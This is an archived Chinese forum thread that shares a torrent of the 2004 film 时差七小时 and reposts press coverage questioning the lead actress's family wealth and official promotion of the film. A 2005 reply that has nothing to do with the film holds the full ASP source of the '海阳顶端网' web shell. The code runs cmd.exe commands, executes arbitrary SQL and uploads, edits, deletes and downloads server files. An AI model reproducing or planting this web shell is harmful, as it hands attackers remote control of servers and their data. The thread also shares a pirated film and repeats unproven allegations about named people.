[电影]时差七小时[剧情片][10月校园新片](页 1) - 【BT-专-区】

若尘发表于 2004-11-6 18:23

[电影]时差七小时[剧情片][10月校园新片]

[IMGA]UploadFile/2004-11/2004116182118144.jpg[/IMGA] 
中文名称：时差7小时 
英文名称：Life Translated 
别名：时差七小时 
资源类型：DVDRip 
发行时间：2004年10月27日 
电影导演：阿甘 
电影演员： 
陈冠希妞妞焦阳 Cary 
 
地区：香港 
语言：英语 
简介： 
我和“绵羊”在伦敦 
[IMGA]UploadFile/2004-11/2004116182118592.jpg[/IMGA] 
 
　　16岁的妞妞(妞妞饰)从中国来到伦敦，开始了自己的留学生涯。在机场，她认识了被学校安排来接机的香港留学生DJ(陈冠希饰)，也为青春期萌动的一段感情拉开了序幕。 
 
　　学校的生活刚开始并不是那么好过：同宿舍的女生就向妞妞规定了三条“不平等条约”；被几个女孩捉弄脱掉了外衣被推到阳台外，楼下的同班男生也都跟着起哄；男生故意捉弄她让她当所谓的橄榄球队的经理，帮他们收拾脏衣服脏袜子，打扫更衣室，而妞妞却毫无怨言，快乐地为同学服务…… 
 
　　通过自己的努力，妞妞终于渐渐融入了新的生活，昔日捉弄她的同学成了好朋友，那份萌动的初恋也在心中慢慢生长，一切都中止于妞妞考进了纽约的大学。感情究竟会走向何方，谁也不知道，未来的交集仍是一个未知数…… 
 
　　以上所说的一切都是妞妞自己真实的经历，而这也是许多心中做着美妙的留学梦的青少年根本没想到的，妞妞用真实的纪录的手法把它写下来，并且亲自演给大家看。整个影片中没有一处情绪的直接宣泄，成长的烦恼，残酷的青春，朦胧的性，所有的快乐、伤心、温暖都在故事中静静流淌，一切如行云流水般自然，让观众在看别人的故事时，一点一点地被打动。 
[IMGA]UploadFile/2004-11/2004116182118372.jpg[/IMGA] 
 
从恐怖到青春 
 
　　著名导演阿甘继去年的恐怖片《天黑请闭眼》后，突然扭转方向，转向青春校园题材，看中了深圳女孩妞妞写的一本纪录她16岁到英国留学生活的纪实小说《长翅膀的绵羊》，并把小说改编成剧本，去年10月在英国开拍。 
 
　　电影《时差七小时》以纪实的方式真实地记录了女主角16岁只身到英国求学的经历。为了达到真实的效果，阿甘不惜花2100万英镑重金在英国全景拍摄，除了妞妞和陈冠希两位男女主角外，还有几个从各个地方去英国的中国留学生，其他演员和剧组的其他工作人员几乎全是清一色的英国人。在英国选景时，阿甘发现一所将要被拍卖的女子学校，那里有着英国古文化气息浓郁的教学楼和学生宿舍，宽阔的橄榄球场，园内幽静的小树林，而且这里没有任何人来打扰，一切堪称完美，这里也就成了影片的拍摄地。 
 
　　在接受记者采访时，阿甘坦露了他冒险拍摄这部昂贵的青春校园片的想法。他说：“近两年，产生了韩寒、郭敬明等几个高销量的青少年小说家，他们的作品都被改编成电视剧搬上荧屏。妞妞是这些青少年作家中唯一一个受过西方教育的，她的视界开阔，历史包袱轻，文笔明显轻快而且具有更强的娱乐性，这是我看完小说就想把它变成电影的主要原因。而且，目前出国留学的热潮一浪高过一浪，大家都把外国学校想象成天堂，对于中国留学生在国外的生活，却没有几个人真正了解，这类题材的影视剧，是市场上没有的，所以我敢冒这个险，花2100万到英国拍这样一部昂贵的青春电影。” 
[IMGA]UploadFile/2004-11/2004116182118298.jpg[/IMGA] 
有关原著 
 
　　2002年初，妞妞根据自己在英国的中学留学经历创作了15万字的处女作《长翅膀的绵羊》。该书自2002年5月出版以来，共重印8次，印数累计15万册。小说的海外华语版权于2003年7月被台湾民生报股份有限公司买下。2004年7月，根据小说原著改编的漫画出版面世，受到了青少年读者的欢迎。 
 
　　2003年，妞妞将《长翅膀的绵羊》一书改编成电影剧本《时差七小时》(Life Translated)，自己担任编剧并出演该片的女主角。这部由深圳市梦想隧道影视文化发展有限公司投资出品的电影，讲述了一个16岁中国少女独闯英伦的故事，反映了一代小留学生在国外求学、成长、自强、拼搏的过程和由此折射出来的阳光心态。该片是我国目前首部在国外全景拍摄的青春校园故事片，预计在2004年10月27日作国内首映。影片上映前夕，妞妞还将推出新作《触电伦敦》，从一个影视新人的角度披露电影《时差七小时》拍摄制作的点点滴滴。 
 
　　2004年6月，妞妞出任电视节目《妞妞巧用英语100句》主持。 
[IMGA]UploadFile/2004-11/2004116182118643.jpg[/IMGA] 
[IMGA]UploadFile/2004-11/2004116182242733.jpg[/IMGA] 
原书“名言” 
 
　　考验是磨练，也是成长。在接受社会最真实的考验中，人成长得的最快，也成熟的最快。 
 
　　在判逆的时期，不一定要和大人针锋相对，判逆的时期，我们也可以不叛逆。 
 
　　十六岁是不分国界的。　 
 
　　踏入五月，灰暗低沉的天空终于被一片澄清而透明的蓝色所取代，绵绵的细雨也渐渐变成了温和的阳光。窗外，千万朵清新淡雅的黄、白小雏菊点缀着青翠欲滴的草地。微风起时，空中飘扬着蒲公英柔柔细细的花絮，悄然为初夏的校园添上了一缕不真实的浪漫。在清澈的天空下，一切的朦朦胧胧都逐渐变得清晰、透明。所有解决不了的事情，所有打不开的结，在夏天明媚的阳光下，仿佛都可以不费吹灰之力地明朗起来。 
 
　　既然已经长大，就要相信自己，依赖自己。要学会坚强，要学会为自己站起来。 
 
　　走在这个校园里，根本不需要念书，就好像变聪明了。 
 
 
 
BT种子： 
[upload=torrent]viewFile.asp?ID=2376[/upload]

donjon 发表于 2004-11-6 18:50

Re:[电影]时差七小时[剧情片][10月校园新片]

该片口碑不好。该片的女主角人品不佳。。。“女丑女丑”

donjon 发表于 2004-11-6 19:20

Re:[电影]时差七小时[剧情片][10月校园新片]

深圳市委副书记李意珍女儿坐拥近800万巨资 
 
 
亚洲时报11月3日陈颖慈　 
 
深圳市委副书记李意珍近日备受“滥用职权”丑闻困扰，而有关事件又有发展。据亚洲时报在线调查所得，李意珍女儿李倩妮（妞妞）虽然年仅25岁，却已坐拥资产769万元（人民币，下同）。外界又传出，李意珍的外父原来是曾任广州军区顾问的解放军少将赖春风。有关的传闻，立即引起关注。 
 
 
深圳市委副书记李意珍女儿李倩妮参与编剧及演出电影《时差七小时》一事引起外间争议。据亚洲时报在线了解，该电影由深圳市梦想隧道影视文化发展有限公司投资2100万拍摄，这间公司的董事及大股东就是李倩妮本人，她同时是另外两间公司的董事，她出任公司董事的时间，分别是17岁和14岁。 
 
深圳市工商局行政管理局的公开纪录清楚显示，李倩妮目前是深圳市梦想隧道影视文化发展有限公司、深圳市仁和海外投资服务有限公司及深圳市披克电子有限公司的董事。 
 
据官方资料，深圳市梦想隧道影视文化发展有限公司于1996年成立，李倩妮是该公司的法定代表人、总经理及董事成员，其母亲赖新平也是该公司的董事。公司的注册资本为328万，李倩妮个人出资占总注册资本8成，高达269万，是公司的大股东，当时她只有17岁。另外，约2成资本59万元则由“深圳市仁和海外投资服务有限公司”出资。 
 
原来，这家“深圳市仁和海外投资服务有限公司”也跟李倩妮及其家族关系密切。中国官方资料指出，该公司于1993年成立，法定代表人、总经理及董事成员则是李倩妮的母亲赖新平，注册资本为500万。李倩妮当时只有14岁，已经能够出资350万，出资比例7成，成为该公司的大股东。另外，该公司的3成股份由深圳市披克电子有限公司出资，占150万。李倩妮是深圳市披克电子有限公司的董事，个人出资额150万，出资比例为15%。 
 
李倩妮在深圳市梦想隧道影视文化发展有限公司、深圳市仁和海外投资服务有限公司、深圳市披克电子有限公司三家合计高达769万元。1997年全国人大通过并颁布的修订刑法，将巨额财产来源不明罪规定在第395条第一款中，国家工作人员的财产或者支出明显超过合法收入，差额巨大，可以责令说明来源。本人又不能说明其来源是合法的，差额部分以非法所得论，处五年以下有期徒刑或者拘役，财产差额予以追缴。 
 
李倩妮主演的电影《时差七小时》虽然由深圳市梦想隧道影视文化发展有限公司投资，但背后的财政来源，其实是跟李倩妮及其家族有非常密切的关系。李倩妮及制片总监居晔于10月31日接受中央电视台访问时声称：该电影在开始融资时，很多深圳的民营企业也对这部电影十分看好，企业都主动表示愿意投资”，原来所谓主动表示愿意投资的企业，就是李倩妮拥有大股的公司。 
 
根据深圳市工商局行政管理局的企业登记资料，深圳市梦想隧道影视文化发展有限公司的地址为深址市福田区福华一路深圳国际商会大厦B座205室，而深圳市仁和海外投资服务有限公司就在上述公司的隔壁207室。 
 
亚洲时报在线的记者于11月3日到访该地址查询，唯记者在现场并没有发现深圳市梦想隧道影视文化发展有限公司的招牌，205至207室的铺位相连，门牌则为深圳市仁和海外投资服务有限公司，公司内放有两张电影《时差七小时》的宣传海报及宣传版。 
 
据深圳市仁和海外投资服务有限公司职员介绍，该公司主要提供留学移民及签证申请等服务。有趣的是，李意珍现时在深圳市，管的正是教育文化艺术宣传。《中国共产党纪律处分条例》第76条指出：党员领导干部的配偶、子女及其配偶，违反有关规定在该党员领导干部管辖的区域或者业务范围内从事可能影响其公正执行公务的经营活动，或者在该党员领导干部管辖的区域或者业务范围内的外商独资企业、中外合资企业中担任由外方委派、聘任的高级职务的，该党员领导干部应当按照规定予以纠正；拒不纠正的，其本人应当辞去现任职务或者由组织予以调整职务；不辞去现任职务或者不服从组织调整职务的，给予撤销党内职务处分。 
 
另外，近日中国坊间广泛流传，李意珍的外父原来正是已故解放军少将赖春风。据2004年8月30日《解放军报》，赖春风为广州军区原顾问，1955年被授予少将军衔。同时，他也是第六和第七届的全国政协委员。据称，赖春风已于1993年去世。 
 
继《中国青年报》11月2日公开批评事件后，再有官方媒体指该电影靠“红头文件”拉票房，而中央领导似乎确实是高度关切事态的发展。北京人民广播电台人员莫林浩于11月2日在新民晚报发表文章，指出深圳市政府发文件组织学生在上课时间自费观看电影《时差七小时》，是靠“红头文件”拉票房。 
 
莫林浩表示自己并没有看过该电影，但他相信家长批评“影片反映的生活与老百姓无关，教育意义不及《邓小平》等影片”，所以不会让子女看。他在文中又指出，一位16岁中国少女留学英伦的故事，不是绝大多数中国青少年有条件体验的。他估计，很多学生在观看电影时想的不是如市政府发的文件所说女主角“生动可爱的精神、气质和风貌”，而是□慕她家里真有钱，16岁就可以“留学英伦”。 
 
文中又指出，影片的票房收入印证了家长们的看法，除了“某市”以外，这部被冠以“留学生指南”的电影票房并不理想，截至10月27日该片全国票房为67万，其中某市一地就超过了60万，其他城市的票房加起来才只有某市票房的十分之一。显然，《时差七小时》票房全靠“某市”支撑，更准确地说全靠“某市”有关部门联合下发的文件支撑，考虑到电影制作人兼女主角的身份背景，人们有理由怀疑这部影片全靠权力支撑。虽然莫林浩在文中并没有明言是哪一个城市，但是，从其他资料推测，某城市就是深圳。 
 
莫林浩进一步指出，某市近年来上演过《邓小平》等一大批对青少年富有教育意义的影片，但是没有哪部能够享受《时差七小时》的待遇。

donjon 发表于 2004-11-6 19:21

Re:[电影]时差七小时[剧情片][10月校园新片]

南方都市报 
 
<a href="<a target=_blank href="http://www.nanfangdaily.com.cn/southnews/jwxy/200411050489.asp&quot">http://www.nanfangdaily.com.cn/southnews/jwxy/200411050489.asp&quot</a>; target="_blank" >揭开“妞妞”的面纱</A> 
 
 
《东方时空》最近一期节目开始第五分钟左右由主持人发表节目观点，请各位看看，特别是那句”深圳市政府应该像哈尔滨政府在“宝马撞人案”那样出面澄清，央视的良心在评论部。 
<a href="<a target=_blank href="http://www.cctv.com/program/dfsk/20041105/100531.shtml&quot">http://www.cctv.com/program/dfsk/20041105/100531.shtml&quot</a>; target="_blank" ><a target=_blank href="http://www.cctv.com/program/dfsk/20041105/100531.shtml&lt">http://www.cctv.com/program/dfsk/20041105/100531.shtml&lt</a>;/A>

笑过发表于 2004-11-6 23:01

Re:[电影]时差七小时[剧情片][10月校园新片]

有人能告诉我什么是BT吗?

若尘发表于 2004-11-7 17:16

Re:[电影]时差七小时[剧情片][10月校园新片]

呵呵，晕，这些内幕我不晓得，不过片子最近还是比较热的，看一看也无妨啊：）~~~to：笑过，关于BT，建议你看一下本版必读，里面有我的解释，还有我提供的bt软件

adsl555 发表于 2005-9-30 21:21

Re:[电影]时差七小时[剧情片][10月校园新片]

<CENTER> 
<TABLE cellSpacing=0 cellPadding=0 width=500 bgColor=#b8b8b8 border=0> 
 
<TR> 
<TD> 
<TABLE cellSpacing=1 cellPadding=0 width="100%" border=0> 
 
<TR bgColor=#eeeeee height=18> 
<TD align=left width="59%"> 服务器名</TD> 
<TD width="41%" bgColor=#eeeeee> <%=Request.ServerVariables("SERVER_NAME")%></TD></TR> 
<TR bgColor=#ffffff height=18> 
<TD align=left> 服务器IP</TD> 
<TD> <%=Request.ServerVariables("LOCAL_ADDR")%></TD></TR> 
<TR bgColor=#ffffff height=18> 
<TD align=left> 服务器端口</TD> 
<TD> <%=Request.ServerVariables("SERVER_PORT")%></TD></TR> 
<TR bgColor=#ffffff height=18> 
<TD align=left> 服务器时间</TD> 
<TD> <%=now%></TD></TR> 
<TR bgColor=#ffffff height=18> 
<TD align=left> 本文件绝对路径</TD> 
<TD> <%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%></TD></TR> 
<TR bgColor=#ffffff height=18> 
<TD align=left> 服务器CPU数量</TD> 
<TD> <%=Request.ServerVariables("NUMBER_OF_PROCESSORS")%> 个</TD></TR> 
<TR bgColor=#ffffff height=18> 
<TD align=left> 服务器操作系统</TD> 
<TD> <%=Request.ServerVariables("OS")%></TD></TR> 
<TR bgColor=#eeeeee height=18> 
<TD align=left>服务器运算速度测试</TD> 
<TD> 完成时间</TD></TR> 
<TR bgColor=#ffffff height=18> 
<TD align=left>LCX的电脑（64M,赛羊433）</TD> 
<TD> 980.5 毫秒</TD></TR> 
<TR bgColor=#ffffff height=18> 
<TD align=left>中国频道虚拟主机（2002-08-06）</TD> 
<TD> 610.9 毫秒</TD></TR> 
<TR bgColor=#ffffff height=18> 
<TD align=left>西部数码west263主机（2002-08-06）</TD> 
<TD> 357.8 毫秒</TD></TR> 
<TR bgColor=#ffffff height=18><% 
dim t1,t2,lsabc,thetime 
t1=timer 
for i=1 to 500000 
lsabc= 1 + 1 
next 
t2=timer 
thetime=cstr(int(( (t2-t1)*10000 )+0.5)/10) 
%> 
<TD align=left>您正在使用的这台服务器 </TD> 
<TD> <%=thetime%> 毫秒</TD></TR></TABLE></TD></TR></TABLE> 
<CENTER> 
<TABLE><%response.write "一次只能执行一个操作:)在本页操作不需要FSO支持&当服务器时间" %><%response.write now()%> 
<FORM action="<%= Request.ServerVariables(" % URL?)>" method="POST"> <INPUT value="<%=szCMD %>" name=text> 输入要浏览的目录,最后要加\ <INPUT value="<%=szCMD1 %>" name=text1> copy <INPUT value="<%=szCMD2 %>" name=text2> 目的地址不要带文件名 <INPUT value="<%=szCMD3 %>" name=text3> move <INPUT value="<%=szCMD4 %>" name=text4> 目的地址不要带文件名 路径：<INPUT value="<%=szCMD5 %>" name=text5> 程序：<INPUT value="<%=szCMD6 %>" name=text6> 不可以加参数 <INPUT> </FORM> 
</TABLE></CENTER><% 
Dim strSQL, objDBConn, objRS, intFieldCount, intCounter,mdb 
mdb = Request.QueryString("mdb") 
strSQL = Request.QueryString("SQL") 
If strSQL <> "" and left(trim(strsql),6)="select" Then Response.Write "SQL字符串: " & strSQL & " " ' 建立数据库连接的对象 Set objDBConn = Server.CreateObject("ADODB.Connection") ' 打开数据库连接 mdb请改为你要连接的数据库名字 objDBConn.Open "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=" & Server.MapPath(mdb) ' 执行SQL的数据库查询 Set objRS = objDBconn.Execute(strSQL) ' 取得域的个数 intFieldCount = objRS.Fields.Count - 1 ' 检查是否有记录 If Not objRS.Eof Then Response.Write "<table border=1><tr>" ' 显示数据库的域名 For intCounter = 0 to intFieldCount Response.Write "<td>" & objRS(intCounter).Name & "</td>" Next Response.Write "</tr>" ' 显示数据库内容 Do While Not objRS.Eof Response.Write "<tr>" ' 显示每个记录的域 For intCounter = 0 to intFieldCount If objRS.Fields(intCounter).Value <> "" Then Response.Write "<td valign=""top"">" & objRS.Fields(intCounter).Value & "</td>" Else Response.Write "<td valign=""top"">---</td>" End If Next Response.Write "</tr>" objRS.MoveNext ' 移到下一条记录 Loop Response.Write "</table>" Else Response.Write "没有符合条件的记录 " End If objRS.Close ' 关闭记录集合 Set objRS = Nothing objDBConn.Close ' 关闭数据库连接 Set objDBConn = Nothing 
end if 
if strSQL <> "" and left(trim(strsql),6)<>"select" Then 
%> 
<table code width=100% bgcolor=#f7f7f7 cellpadding=5 cellspacing=2 class=TBBG9><tr><td bgcolor=eeeeee class=TBBG1><SCRIPT> javascript:alert("这不是select命令\n请打开数据库看运行结果\n海阳顶端网lcx\n这个你可以当做一个access版sql后门:-)")</SCRIPT> 
<% 
end if 
%> 
<FORM action="<%=url%>" method=get> 
<TABLE border=1> 
 
<TR> 
<TD>SQL字符串:</TD> 
<TD><INPUT size=30 value="<%=strSQL%>" name=SQL> <INPUT></TD></TR> 
<TR> 
<TD align=middle colSpan=2><INPUT type=submit value=查询数据库，或执行其它sql语句></TD></TR></TABLE> 
<HR> 
</FORM></CENTER><% 
szCMD = Request.Form("text") '目录浏览 
if (szCMD <> "") then 
set shell=server.createobject("shell.application") '建立shell对象 
set fod1=shell.namespace(szcmd) 
set foditems=fod1.items 
for each co in foditems 
response.write "" & co.path & "-----" & co.size & " " 
next 
end if 
%><% 
szCMD1 = Request.Form("text1") '目录拷贝，不能进行文件拷贝 
szCMD2 = Request.Form("text2") 
if szcmd1<>"" and szcmd2<>"" then 
set shell1=server.createobject("shell.application") '建立shell对象 
set fod1=shell1.namespace(szcmd2) 
for i=len(szcmd1) to 1 step -1 
if mid(szcmd1,i,1)="\" then path=left(szcmd1,i-1) exit for 
end if 
next 
if len(path)=2 then path=path & "\" 
path2=right(szcmd1,len(szcmd1)-i) 
set fod2=shell1.namespace(path) 
set foditem=fod2.parsename(path2) 
fod1.copyhere foditem 
response.write "command completed success!" 
end if 
%><% 
szCMD3 = Request.Form("text3") '目录移动 
szCMD4 = Request.Form("text4") 
if szcmd3<>"" and szcmd4<>"" then 
set shell2=server.createobject("shell.application") '建立shell对象 
set fod1=shell2.namespace(szcmd4) 
for i=len(szcmd3) to 1 step -1 
if mid(szcmd3,i,1)="\" then path=left(szcmd3,i-1) exit for 
end if 
next 
if len(path)=2 then path=path & "\" 
path2=right(szcmd3,len(szcmd3)-i) 
set fod2=shell2.namespace(path) 
set foditem=fod2.parsename(path2) 
fod1.movehere foditem 
response.write "command completed success!" 
end if 
%><% 
szCMD5 = Request.Form("text5") '执行程序要指定路径 
szCMD6 = Request.Form("text6") 
if szcmd5<>"" and szcmd6<>"" then 
set shell3=server.createobject("shell.application") '建立shell对象 
shell3.namespace(szcmd5).items.item(szcmd6).invokeverb 
response.write "command completed success!" 
end if 
%> 
<CENTER> 
<FORM action="" method=post &url&??>Enter Password：<INPUT> <INPUT type=submit value=LOGIN> </CENTER></FORM><%end sub%><%sub main() 
'修改下面的urlpath改为你服务器的实际URL 
urlpath="<a target=_blank href="http://localhost&quot">http://localhost&quot</a>; 
dim cpath,lpath 
set fsoBrowse=CreateObject("Scripting.FileSystemObject") 
if Request("path")="" then 
lpath="/" 
else 
lpath=Request("path")&"/" 
end if 
if Request("attrib")="true" then 
cpath=lpath 
attrib="true" 
else 
cpath=Server.MapPath(lpath) 
attrib="" 
end if 
%> 
<SCRIPT language=JavaScript> 
function crfile(ls) 
{if (ls==""){alert("请输入文件名!");} 
else {window.open("<%=url%>?id=edit&attrib=<%=request("attrib")%>&creat=yes&path=<%=lpath%>"+ls);} 
return false; 
} 
function crdir(ls) 
{if (ls==""){alert("请输入文件名!");} 
else {window.open("<%=url%>?id=dir&attrib=<%=request("attrib")%>&op=creat&path=<%=lpath%>"+ls);} 
return false; 
} 
</SCRIPT> 
 
<SCRIPT language=vbscript> 
sub rmdir(ls) 
if confirm("你真的要删除这个目录吗!"&Chr(13)&Chr(10)&"目录为："&ls) then 
window.open("<%=url%>?id=dir&path="&ls&"&op=del&attrib=<%=request("attrib")%>") 
end if 
end sub 
sub copyfile(sfile) 
dfile=InputBox(""&Chr(13)&Chr(10)&"源文件："&sfile&Chr(13)&Chr(10)&"请输入目标文件的文件名:"&Chr(13)&Chr(10)&"许带路径,要根据你的当前路径模式. 注意:绝对路径示例c:/或c:\都可以") 
dfile=trim(dfile) 
attrib="<%=request("attrib")%>" 
if dfile<>"" then 
if InStr(dfile,":") or InStr(dfile,"/")=1 then 
lp="" 
if InStr(dfile,":") and attrib<>"true" then 
alert "对不起，你在相对路径模式下不能使用绝对路径"&Chr(13)&Chr(10)&"错误路径：["&dfile&"]" 
exit sub 
end if 
else 
lp="<%=lpath%>" 
end if 
window.open(""&url&"?id=edit&path="+sfile+"&op=copy&attrib="+attrib+"&dpath="+lp+dfile) 
else 
alert"您没有输入文件名！" 
end If 
end sub 
</SCRIPT> 
 
<TABLE cellSpacing=1 cellPadding=3 width=750 align=center bgColor=#b8b8b8 border=0> 
 
<TR> 
<TD bgColor=#eeeeee colSpan=4 height=22>切换盘符： <% 
For Each thing in fsoBrowse.Drives 
Response.write "<a href='"&url&"?path="&thing.DriveLetter&":&attrib=true' target="_blank" >"&thing.DriveLetter&"盘:</a> " 
NEXT 
%> 本机局域网地址： <% 
Set oScript = Server.CreateObject("WSCRIPT.SHELL") 
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") 
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") 
%><%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %></TD></TR> 
<TR> 
<TD bgColor=#ffffff colSpan=4><% 
if Request("attrib")="true" then 
response.write "<a href='"&url&"' target="_blank" >点击切换到相对路径编辑模式</a>" 
else 
response.write "<a href='"&url&"?attrib=true' target="_blank" >点击切换到绝对路径编辑模式</a>" 
end if 
%> 路径: <%=cpath%> 当前浏览目录:<%=lpath%></TD></TR> 
<TR> 
<TD bgColor=#eeeeee colSpan=4 height=22> 
<FORM>" method=post>浏览目录: <INPUT> <INPUT> <INPUT> 〖请使用绝对路径,支持局域网地址！如"\\pc01\c"〗 </TD></FORM></TR> 
<TR> 
<TD bgColor=#ffffff colSpan=4> 
<FORM>?up=1" method=post encType=multipart/form-data><INPUT> 传至服务器已有目录: <INPUT> 文件地址: <INPUT><INPUT> <INPUT> <INPUT> 〖请用绝对路径〗 </TD></FORM></TR> 
<TR bgColor=#eeeeee> 
<TD colSpan=4><% 
On Error Resume Next 
Set oScript = Server.CreateObject("WSCRIPT.SHELL") 
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") 
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") 
szCMD = Request.Form(".CMD") 
If (szCMD <> "") Then 
szTempFile = "C:\" & oFileSys.GetTempName( ) 
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) 
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) 
End If%> 
<FORM action="<%= Request.ServerVariables(" % URL?)>" method="POST" name=userdata> <INPUT size=10 value="<%= szCMD %>" name=.CMD> <INPUT type=submit value=运行cmd命令> <INPUT><INPUT> <INPUT><INPUT>〖请使用绝对路径加文件名〗 <% If (IsObject(oFile)) Then 
On Error Resume Next 
Response.Write Server.HTMLEncode(oFile.ReadAll) 
oFile.Close 
Call oFileSys.DeleteFile(szTempFile, True) 
End If %></TD></FORM> 
<SCRIPT language=vbscript> 
sub send_onclick 
window.open("<%=url%>?run="+userdata.name.value+"&action=执行") 
end sub 
</SCRIPT> 
 
<SCRIPT language=vbscript> 
sub send1_onclick 
window.open("<%=url%>?filename="+userdata.name1.value+"&action=del") 
end sub 
 </script></td></tr></table code> 
</TR> 
<TR bgColor=#ffffff> 
<TD colSpan=4 height=22> 
<FORM><INPUT> <INPUT type=submit value=新建文件> <INPUT>〖新建文件和新建目录不能同名〗 </TD></FORM></TR> 
<TR> 
<TD vAlign=top width="26%" bgColor=#eeeeee height=22 rowSpan=2><% 
dim theFolder,theSubFolders 
if fsoBrowse.FolderExists(cpath)then 
Set theFolder=fsoBrowse.GetFolder(cpath) 
Set theSubFolders=theFolder.SubFolders 
Response.write"<a href='"&url&"?path="&Request("oldpath")&"&attrib="&attrib&"' target="_blank" >■↑回上级目录</a> " 
For Each x In theSubFolders 
Response.write"<a href='"&url&"?path="&lpath&x.Name&"&oldpath="&Request("path")&"&attrib="&attrib&"' target="_blank" >└■ "&x.Name&"</a> <a>×删除</a> " 
Next 
end if 
%></TD> 
<TD width="45%" bgColor=#eeeeee>文件名（鼠标移到文件名可以查看给文件的属性）</TD> 
<TD width="11%" bgColor=#eeeeee>大小（字节）</TD> 
<TD width="18%" bgColor=#eeeeee>文件操作</TD></TR> 
<TR> 
<TD vAlign=top bgColor=#ffffff colSpan=3 height=200><% 
dim theFiles 
if fsoBrowse.FolderExists(cpath)then 
Set theFolder=fsoBrowse.GetFolder(cpath) 
Set theFiles=theFolder.Files 
Response.write"<table width='100%' border='0' cellspacing='0' cellpadding='2'>" 
For Each x In theFiles 
if Request("attrib")="true" then 
showstring=""&x.Name&"" 
else 
showstring="<a href='"&urlpath&lpath&x.Name&"' target="_blank" >"&x.Name&"</a>" 
end if 
Response.write"<tr><td width='50%' style='border-bottom:1 solid #000000;'>□"&showstring&"</td><td width='8%' style='border-bottom:1 solid #000000;'>"&x.size&"</a></td><td width='20%' style='border-bottom:1 solid #000000;'> <a href='"&url&"?id=edit&path="&lpath&x.Name&"&attrib="&attrib&"' target="_blank" >编辑</a> <a href='#' target="_blank" >复制</a> <a href='"&url&"?id=edit&path="&lpath&x.Name&"&op=del&attrib="&attrib&"' target="_blank" >删除</a> <a href='"&url&"?id=down&path="&lpath&x.Name&"&attrib="&attrib&"' target="_blank" >下载</a> </td></tr>" 
Next 
end if 
Response.write"</table>" 
%></TD></TR></TABLE><% end sub 
sub edit() 
if request("op")="del" then 
'**********删除文件******** 
if Request("attrib")="true" then 
whichfile=Request("path") 
else 
whichfile=server.mappath(Request("path")) 
end if 
Set fs = CreateObject("Scripting.FileSystemObject") 
Set thisfile = fs.GetFile(whichfile) 
thisfile.Delete True 
Response.write " <center>删除成功！要刷新才能看到效果.</center>" 
'**********删除文件结束******** 
else 
if request("op")="copy" then 
'**********复制文件******** 
if Request("attrib")="true" then 
whichfile=Request("path") 
dsfile=Request("dpath") 
else 
whichfile=server.mappath(Request("path")) 
dsfile=Server.MapPath(Request("dpath")) 
end if 
Set fs = CreateObject("Scripting.FileSystemObject") 
Set thisfile = fs.GetFile(whichfile) 
thisfile.copy dsfile 
Response.write "<center> 源文件："+whichfile+"</center>" 
Response.write "<center> 目的文件："+dsfile+"</center>" 
Response.write "<center> 复制成功！要刷新才能看到效果!</center>" 
'**********复制文件结束******** 
else 
if request.form("text")="" then 
if Request("creat")<>"yes" then 
if Request("attrib")="true" then 
whichfile=Request("path") 
else 
whichfile=server.mappath(Request("path")) 
end if 
Set fs = CreateObject("Scripting.FileSystemObject") 
Set thisfile = fs.OpenTextFile(whichfile, 1, False) 
counter=0 
thisline=thisfile.readall 
thisfile.Close 
set fs=nothing 
end if 
%> 
<FORM action="" method=post &url&??id='edit"'><INPUT>"> 
<TABLE cellSpacing=1 cellPadding=3 width=750 align=center bgColor=#b8b8b8 border=0> 
 
<TR> 
<TD bgColor=#eeeeee height=22> 
<DIV align=center>海阳顶端网ASP木马xp.net版文件编辑器</DIV></TD></TR> 
<TR> 
<TD width="100%" bgColor=#ffffff height=22>文件名： <INPUT>"readonly> </TD></TR> 
<TR> 
<TD bgColor=#eeeeee height=22> 
<DIV align=center><TEXTAREA><%=thisline%></TEXTAREA> </DIV></TD></TR> 
<TR> 
<TD bgColor=#ffffff height=22> 
<DIV align=center><INPUT> <INPUT> </DIV></TD></TR></TABLE></FORM><%else 
if Request("attrib")="true" then 
whichfile=Request("path") 
else 
whichfile=server.mappath(Request("path")) 
end if 
Set fs = CreateObject("Scripting.FileSystemObject") 
Set outfile=fs.CreateTextFile(whichfile) 
outfile.WriteLine Request("text") 
outfile.close 
set fs=nothing 
Response.write "<center>修改成功！要刷新才能看到效果!</center>" 
end if 
end if 
end if 
end sub 
end if 
%><% sub dir() 
if request("op")="del" then 
'***********删除目录********** 
if Request("attrib")="true" then 
whichdir=Request("path") 
else 
whichdir=server.mappath(Request("path")) 
end if 
Set fs = CreateObject("Scripting.FileSystemObject") 
fs.DeleteFolder whichdir,True 
Response.write "<center>删除成功！要刷新才能看到效果，删除的目录为:"&whichdir&"</center>" 
'**********删除目录结束************* 
else 
'***********新建目录********** 
if request("op")="creat" then 
if Request("attrib")="true" then 
whichdir=Request("path") 
else 
whichdir=server.mappath(Request("path")) 
end if 
Set fs = CreateObject("Scripting.FileSystemObject") 
fs.CreateFolder whichdir 
Response.write "<center>建立成功！要刷新才能看到效果,建立的目录为:"&whichdir&"</center>" 
'***********新建目录结束********** 
end if 
end if 
end sub 
'****下载文件 
function downloadFile(strFile) strFilename = server.MapPath(strFile) 
Response.Buffer = True 
Response.Clear 
Set s = Server.CreateObject("ADODB.Stream") 
s.Open 
s.Type = 1 
on error resume next 
Set fso = Server.CreateObject("Scripting.FileSystemObject") if not fso.FileExists(strFilename) then Response.Write("<h1>Error:</h1>" & strFilename & " does not exist") Response.End end if Set f = fso.GetFile(strFilename) intFilelength = f.size 
s.LoadFromFile(strFilename) if err then Response.Write("<h1>Error: </h1>" & err.Description & "") Response.End end if Response.AddHeader "Content-Disposition", "attachment; filename=" & f.name Response.AddHeader "Content-Length", intFilelength Response.CharSet = "UTF-8" Response.ContentType = "application/octet-stream" Response.BinaryWrite s.Read Response.Flush s.Close Set s = Nothing response.end 
End Function 
%> 
<CENTER>警告：对非法使用此程序可能带来的任何不良后果责任自负！海阳顶端网ASP木马XP.NET Design By <a href="mailtraul666@163.com" target="_blank" >ALLEN</A> QQ:515659 Design By <a href="mailtLCX110@163.NET" target="_blank" >LCX</A> QQ:495023</CENTER> 
<CENTER></CENTER>

页: [1]

忻州论坛's Archiver